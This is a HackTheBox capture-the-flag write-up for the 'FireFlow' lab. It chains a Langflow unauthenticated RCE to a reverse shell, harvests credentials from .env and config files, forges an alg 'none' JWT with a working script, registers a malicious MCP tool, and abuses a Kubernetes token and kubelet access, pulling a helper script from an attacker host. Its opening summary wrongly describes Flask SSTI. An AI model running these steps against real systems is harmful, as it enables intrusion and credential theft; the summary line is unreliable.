# FireFlow Writeup - HackTheBox

> Flask web app vulnerable to SSTI via user-controlled templates. Exploit Jinja2 injection to achieve RCE, then escalate privileges on Linux for root.

- **URL:** https://hackindex.io/writeups/fireflow
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Tags:** ssti, jwt, flask, privilege-escalation, cve-2026-33017
- **Authors:** [Khant-Nyar](https://hackindex.io/authors/khant-nyar.md)
- **Read time:** 4 min read
- **Published:** 2026-06-25
- **Updated:** 2026-10-11

## **Discovery**

### **Port Enumeration**

A full TCP scan identified three exposed services.

```bash
ports=$(nmap -p- --min-rate=1000 -T4 $TARGET_IP | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sV -sC $TARGET_IP
# PORT    STATE SERVICE  VERSION
# 22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
# 80/tcp  open  http     nginx
# 443/tcp open  ssl/http nginx
#
# |_http-title: Did not follow redirect to https://fireflow.htb/
# |_http-title: FireFlow — Task Force Nightfall
# | ssl-cert:
# |   Subject Alternative Name:
# |     DNS:fireflow.htb
# |     DNS:*.fireflow.htb
```

The web server redirects to `fireflow.htb`, so the hostname is added locally.

```bash
echo "$TARGET_IP fireflow.htb" | sudo tee -a /etc/hosts
```

The next move is to enumerate the web application.

### **Web Enumeration**

Browsing `https://fireflow.htb` reveals a FireFlow landing page. Selecting **Open Agent** redirects to another virtual host.

```bash
echo "$TARGET_IP flow.fireflow.htb" | sudo tee -a /etc/hosts
```

The new application is exposed at:

```bash
https://flow.fireflow.htb/playground/<FLOW_ID>
```

The URL leaks a valid Langflow `flow_id`, which is sufficient to target CVE-2026-33017.

The next move is to verify remote code execution.

## **Initial Access**

### **CVE-2026-33017 Langflow Unauthenticated RCE**

Start a listener.

```bash
nc -lvnp $ATTACKER_PORT
```

Trigger the vulnerable endpoint using the discovered `flow_id`.

```bash
curl -sk -X POST 'https://flow.fireflow.htb/api/v1/build_public_tmp/<FLOW_ID>/flow' \
  -H 'Content-Type: application/json' \
  -b 'client_id=attacker' \
  -d '<RCE JSON PAYLOAD>'
```

The injected component executes arbitrary Python code, spawning a reverse shell.

```bash
nc -lvnp $ATTACKER_PORT
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
```

Upgrade the shell.

```
script /dev/null -c bash
```

Suspend the shell.

```
Ctrl-Z
```

Restore the terminal.

```
stty raw -echo; fg
```

Press Enter twice.

The next move is credential hunting.

### **Extracting Credentials**

Langflow stores its configuration under `/etc/langflow`.

```bash
cat /etc/langflow/.env
# LANGFLOW_SUPERUSER=langflow
# LANGFLOW_SUPERUSER_PASSWORD=$LANGFLOW_PASSWORD
```

Checking local users reveals a normal account.

```bash
cat /etc/passwd
# nightfall:x:1000:1000::/home/nightfall:/bin/bash
#
```

The Langflow password is reused for SSH.

```bash
ssh nightfall@$DOMAIN
# id
# uid=1000(nightfall)
#
```

The next move is local enumeration.

## **Lateral Movement**

### **MCP Configuration Discovery**

A hidden MCP configuration is present.

```bash
cat ~/.mcp/config.json
# {
#   "server":"http://$TARGET_IP:30080",
#   "user":"langflow-bot",
#   "password":"$LANGFLOW_BOT_PASSWORD"
# }
```

Query the exposed API.

```bash
curl -s http://$TARGET_IP:30080/api/v1/version | python3 -m json.tool
# {
#   "service":"MCP AI Tool Registry",
#   "auth":{
#     "type":"JWT",
#     "supported_algorithms":[
#       "HS256",
#       "none"
#     ]
#   }
# }
```

The API accepts JWTs using the insecure `none` algorithm.

The next move is to verify authentication.

### **Obtaining a JWT**

```bash
curl -s -X POST http://$TARGET_IP:30080/api/v1/auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"langflow-bot","password":"$LANGFLOW_BOT_PASSWORD"}'
# {
#   "access_token":"<JWT>"
# }
#
```

Decoding the payload shows a regular user.

```json
{
  "sub":"langflow-bot",
  "role":"user"
}
```

Administrative endpoints reject the token.

```bash
curl -s -X POST http://$TARGET_IP:30080/api/v1/tools \
  -H "Authorization: Bearer $USER_JWT"
# {
#   "detail":"Admin role required"
# }
#
```

The next move is JWT forgery.

### **Forging an Administrator Token**

```python
import base64
import json

def b64(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64(json.dumps({"sub":"attacker","role":"admin"}).encode())

print(f"{header}.{payload}.")
```

Generate the forged token.

```bash
python3 craft.py
```

Register a malicious MCP tool.

```bash
curl -s -X POST http://$TARGET_IP:30080/api/v1/tools \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{
    "name":"shell",
    "description":"debug shell",
    "inputSchema":{"type":"object","properties":{}},
    "code":"<python reverse shell>"
}'
# {
#   "status":"registered",
#   "name":"shell"
# }
```

Start a listener.

```bash
nc -lvnp $ATTACKER_PORT
```

Trigger the tool.

```bash
curl -s -X POST http://$TARGET_IP:30080/mcp \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
```

A shell is returned from the MCP container.

```bash
nc -lvnp $ATTACKER_PORT
# id
# uid=1000(mcp)
#
# script /dev/null -c bash
#
#
```

The next move is container escape and privilege escalation.

## **Privilege Escalation**

### **Kubernetes Enumeration**

The environment indicates execution inside Kubernetes.

```bash
ls /var/run/secrets/kubernetes.io/
# serviceaccount
#
```

Inspect RBAC permissions.

```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API=https://10.43.0.1:443

curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
```

Relevant permission:

```
resources:
  nodes/proxy

verbs:
  get
```

The `nodes/proxy` permission allows interaction with the kubelet.

The next move is identifying a privileged pod.

### **Locating a Privileged Pod**

```bash
curl -sk https://$TARGET_IP:10250/pods \
  -H "Authorization: Bearer $TOKEN"
# [!] PRIVILEGED:
# monitoring/prometheus-prometheus-node-exporter-*
# hostPaths:
#   /proc
#   /sys
#   /
#
```

The privileged Node Exporter mounts the host filesystem.

The next move is remote command execution through the kubelet.

### **Kubelet Exec**

Create the execution helper.

```bash
python3 -m http.server 80
```

Transfer it to the container.

```bash
curl http://$ATTACKER_IP/kube_exec.py -o kube_exec.py
```

Execute arbitrary commands inside the privileged pod.

```bash
python3 kube_exec.py "id"
```

The mounted host filesystem is accessible under `/host/root`, allowing execution against the underlying node and obtaining a root shell.

Related

## References

- [Kubernetes Authentication and Authorization, RBAC reference](https://kubernetes.io/docs/reference/access-authn-authz)
- [OWASP Web Security Testing Guide, JWT and web testing guidance](https://owasp.org/www-project-web-security-testing-guide)
